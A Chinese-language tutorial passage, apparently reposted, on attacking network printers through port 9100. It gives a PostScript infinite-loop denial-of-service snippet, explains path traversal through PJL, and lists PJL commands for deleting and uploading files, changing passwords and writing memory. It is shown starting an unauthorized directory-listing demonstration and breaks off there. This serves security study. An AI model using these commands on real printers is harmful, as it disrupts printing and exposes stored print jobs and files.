当向打印机9100端口发送任何数据,打印机都可将其打印出来,文章前部分发现,9100端口还支持原始打印、PCL、PostScript和PJL,即可以通过9100端口执行PJL。当执行DOS,则可无限循环打印任务,导致打印任务不断执行,资源耗尽,无法执行打印操作。按个人理解简单点说,就是当发起打印任务时,打印机等任务发起结束,才会执行下一步的打印操作,如果一直循环打印任务,则无法到达下一步。通过几行PostScript代码实现DOS。
PS代码实现的循环:
- %!
- {} loop
3. 路径遍历漏洞-案例分析
这不是针对某个型号的漏洞,算是打印机的一个通用漏洞,可以通过../等进行目录穿越,对文件进行读取和写入,不过并不是所有的目录文件都可读写,当发现无法读写时,可继续切换其它目录测试,可能存在可读写的文件,从而泄露敏感文件,如“Jobs”目录中存储的就是打印任务,可以通过PFT 、PRET工具包读取存储在其中的任何打印任务。
如果允许 PJL 命令访问该设备的文件系统,远程攻击者可以借助 PJL 读取任意文件,远程连接打印机并进行遍历目录操作。这里借用个人之前的案例演示,通过9100端口执行PJL命令,并且未授权访问打印机。在学习之前,需要熟悉PJL命令。如下是本人对PJL命令的整理:
- @PJL FSDELETE NAME = “pathname” [<CR>]<LF> # 删除文件
-
- @PJL FSDOWNLOAD FORMAT:BINARY [SIZE=int] [<CR>]<LF> # 下载文件到打印机
-
- @PJL FSINIT VOLUME = “pathname” [<CR>]<LF> # 初始化打印机文件系统
-
- @PJL FSMKDIR NAME = “pathname” [<CR>]<LF> # 创建目录
-
- @PJL DINQUIRE CPLOCK # 检查控制面板状态
-
- @PJL DINQUIRE PASSWORD # 检查密码保护状态
-
- @PJL JOB PASSWORD = [Number:0 to 65535] # 当前密码保护密码
-
- @PJL DEFAULT PASSWORD [Number:0 to 65535] # 修改保护密码
-
- @PJL DEFAULT CPLOCK = [ON, OFF] # 控制面板状态
-
- @PJL SET IOBUFFER = [ON, OFF, AUTO] # 设置缓冲区
-
- @PJL SET IOSIZE = [10-100] # 设置缓存区大小
-
- @PJL SET PCNAME = [String] # 设置计算机名称
-
- @PJL SET HOLD = [ON, JOB, STORE, PROOF] # 设置文件保存
-
- @PJL SET HOLDKEY = [Number:0000 to 9999] # 设置保存文件密码
-
- @PJL DEFAULT DISKLOCK = [ON, OFF] # 设置硬盘锁定状态
-
- @PJL SET SPOOLTIME # 设置打印日期
-
- @PJL SET COPIES # 设置打印数
-
- @PJL SET JOBNAME # 设置打印机文件名称
-
- @PJL SET RESOLUTION # 设置分辨率
-
- @PJL SET DRIVERNAME # 设置驱动
-
- @PJL USTATUS JOB # 输出 队列中还未打印任务的 状态
-
- @PJL COMMENT # 添加注释
-
- @PJL SET OUTTRAY #出纸盘(纸张输出位置)
-
- @PJL SET ORIENTATION = [PORTRAIT, LANDSCAPE] #页面方向
-
- @PJL SET DUPLEX = [ON, OFF] #双工模式(双面打印)
-
- @PJL SET BINDING = [LONGEDGE, SHORTEDGE] #双工模式:短边、长边
-
- @PJL RNVRAM ADDRESS #读取内存
-
- @PJL OPMSG DISPLAY #设置打印机离线脱机
-
- @PJL SET SERVICEMODE #设置服务模式
-
- @PJL WNVRAM ADDRESS #写入内存
-
- @PJL FSDIRLIST NAME #读取目录
-
- @PJL FSQUERY NAME #读取文件
-
- @PJL FSUPLOAD NAME #文件上传
-
- @PJL FSDOWNLOAD #写入文件
(1) @PJL FSDIRLIST NAME=”0:/” ENTRY=1 COUNT=1024

上图发现目录名称是 0:/,有两个目录,一个是本地目录./,一个是../目录。
(2) 读取 ../ 目录,发现其下有7个,./代表本目录 (编辑:晋中站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|